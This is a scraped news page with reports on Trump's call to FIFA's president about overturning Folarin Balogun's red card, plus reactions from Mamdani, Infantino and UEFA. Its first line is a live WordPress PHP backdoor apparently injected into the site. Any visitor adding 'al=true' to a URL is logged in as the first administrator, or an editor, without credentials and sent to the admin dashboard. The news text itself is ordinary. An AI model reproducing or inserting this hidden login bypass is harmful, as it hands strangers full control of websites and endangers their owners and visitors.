// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Trump confirms he called FIFA head but says he didn’t influence overturning Balogun’s red card – Blue Light News
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Trump confirms he called FIFA head but says he didn’t influence overturning Balogun’s red card

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President Donald Trump said Monday that he asked FIFA President Gianni Infantino to review the red card issued against a star American soccer player ahead of a monumental last-16 game, but emphasized that he did not unduly influence the controversial decision.

The ruling by the international soccer governing body to suspend a red card issued against American Folarin Balogun during its knockout tilt against Bosnia and Herzegovina sparked concerns over the president’s potential influence over the decision. Blue Light News reported Sunday that Trump had called Infantino regarding the red card, which the president subsequently confirmed Monday.

“Yes, I asked for a review by FIFA,” Trump told reporters gathered in the Oval Office.

However, the president rebuffed the idea that his talks with Infantino influenced the decision, even as the FIFA president has cozied up to Trump during his second term — showering him in compliments and creating a new “peace prize” that he awarded Trump ahead of the tournament.

“All I did was ask for a review,” Trump said. “I didn’t say that you have to do this.”

The comments come after a slate of other nations’ soccer federations panned the decision, with the European Commission demanding “fair play and transparent competition” in sports. Belgian officials, whose country will play against the U.S. today, expressed intense consternations and have formally challenged the ruling.

Trump on Monday described his reaction to the initial game call as confused. He characterized the collision between Balogun and Tarik Muharemović as the two players being “sort of entangled” and, upon learning that a red card would bar Balogun from suiting up for the U.S.’s match against Belgium, thought it was “unfair.”

“It is one thing to penalize somebody for the game,” Trump said. “But how do you penalize him for a game that hasn’t been played yet? It’s very unfair, you can’t do that.”

The president took the opportunity to celebrate the success of the World Cup— which has high attendance across its venues and strong viewership — and said Balogun’s red card would have been a “big stain” on the tournament had it been upheld.

The president on Monday cast suspicions on the referee who delivered the red card to Balogun, Brazilian official Raphael Claus, calling him “a little bit suspect, if you check his past.”

Asked by a reporter if he had spoken with the Belgian prime minister, Trump said he hadn’t but would be open to it. Belgium’s foreign minister told Blue Light News that the decision “raises many questions,” its soccer federation issued a livid statement in the aftermath of the decision and subsequently challenged Balogun’s eligibilityahead of the match.

“I will tell you this,” Trump continued. “The people of Belgium, if they win the game, they can be very proud.”

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Capitol agenda: Jeffries takes hands-off approach to Israel

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33 minutes ago

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July 6, 2026

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As Democrats wrestled with how to handle a politically thorny vote, Jeffries offered caucus forums but little guidance…
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Mamdani stays mum on Balogun controversy

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1 hour ago

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July 6, 2026

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New York City Mayor Zohran Mamdani is playing coy about the red card reversal heard ‘round the world.

Instead of directly addressing the revocation of USMNT striker Folarin Balogun’s one-game suspension, the soccer-loving mayor posted a clip on X on Monday featuring a quote from José Mourinho, the legendary Portuguese soccer manager.

“I prefer really not to speak. If I speak — big trouble, big trouble. I don’t want to be in big trouble,” Mourinho said in the iconic 2014 clip shared by Mamdani in response to a post from a Blue Light News reporter remarking that the mayor had yet to comment on the unfolding Balogun controversy.

In an interview on Univision’s New York affiliate filmed Monday morning, Mamdani called it “cruel” for the referee to have hit Balogun with a red card in last week’s game between the U.S. and Bosnia and Herzegovina.

“I’m looking forward to seeing the U.S. men’s national team tonight. I think beyond that, I’ll have to quote José Mourinho who said, ‘I prefer not to speak, if I speak I get in trouble,’” Mamdani added, according to a transcript of the interview shared by his office with Blue Light News ahead of airing Monday evening.

The issue is fraught for Mamdani for two reasons.

Mamdani, an avid soccer fan born in Uganda, has said he’s rooting for the U.S. in the 2026 World Cup. It’d thereby be awkward for him to take issue with the U.S. star striker being cleared to play in Monday night’s round of 16 showdown against Belgium.

Separately, despite being a democratic socialist, Mamdani has enjoyed a surprisingly cordial relationship with President Donald Trump. He has sought to use that relationship to leverage material benefits for New York City, such as greater federal investment in local housing developments.

If he goes after Trump for his role in overturning Balogun’s suspension, Mamdani would run the risk of angering the mercurial president.

FIFA shocked the soccer universe Sunday when it announced it had scrapped Balogun’s mandatory one-game suspension because of the red card. After the announcement, it was revealed FIFA made the highly unusual reversal after Trump privately asked FIFA President Gianni Infantino to review the one-game suspension for Balogun, raising concerns about inappropriate political pressure.

On Monday morning, Belgium’s soccer federation said it was formally challenging the Balogun suspension reversal — but FIFA ruled the Belgian appeal to be inadmissable.

Kickoff is set for 8 p.m. in Seattle.

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Infantino defends FIFA’s integrity against US red card corruption criticism

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2 hours ago

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July 6, 2026

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FIFA President Gianni Infantino on Monday defended his organization’s decision to defer U.S. striker Folarin Balogun’s one-game suspension ahead of the Monday World Cup match between the U.S. and Belgium.

“FIFA’s judicial bodies are independent,” Infantino said in a statement posted on X. “I read the decisions of the FIFA Disciplinary Committee when they are issued. Sometimes I am surprised by them. Sometimes I agree with them, and sometimes I disagree. What I always do, however, is respect those decisions and the autonomy of the bodies that make them.”

On Sunday, FIFA announced that its disciplinary committee suspended the red card that Balogun received during the U.S. game against Bosnia and Herzegovina. U.S. President Donald Trump said Monday that he had called Infantino to lobby for the suspension to be lifted, though the president insisted that “all I did was ask for a review,” and “I didn’t say that you have to do this.”

Infantino acknowledged discussing Balogun’s suspension with Trump but said he explained the “ongoing legal process involving FIFA’s independent judicial bodies” to the U.S. president.

Infantino added that “respect for independent institutions and the rule of law is what protects the integrity of our competitions and the credibility of FIFA at all times.”

UEFA, European football’s governing body, said in a statement Monday that FIFA’s decision was “incomprehensible and unjustifiable.”

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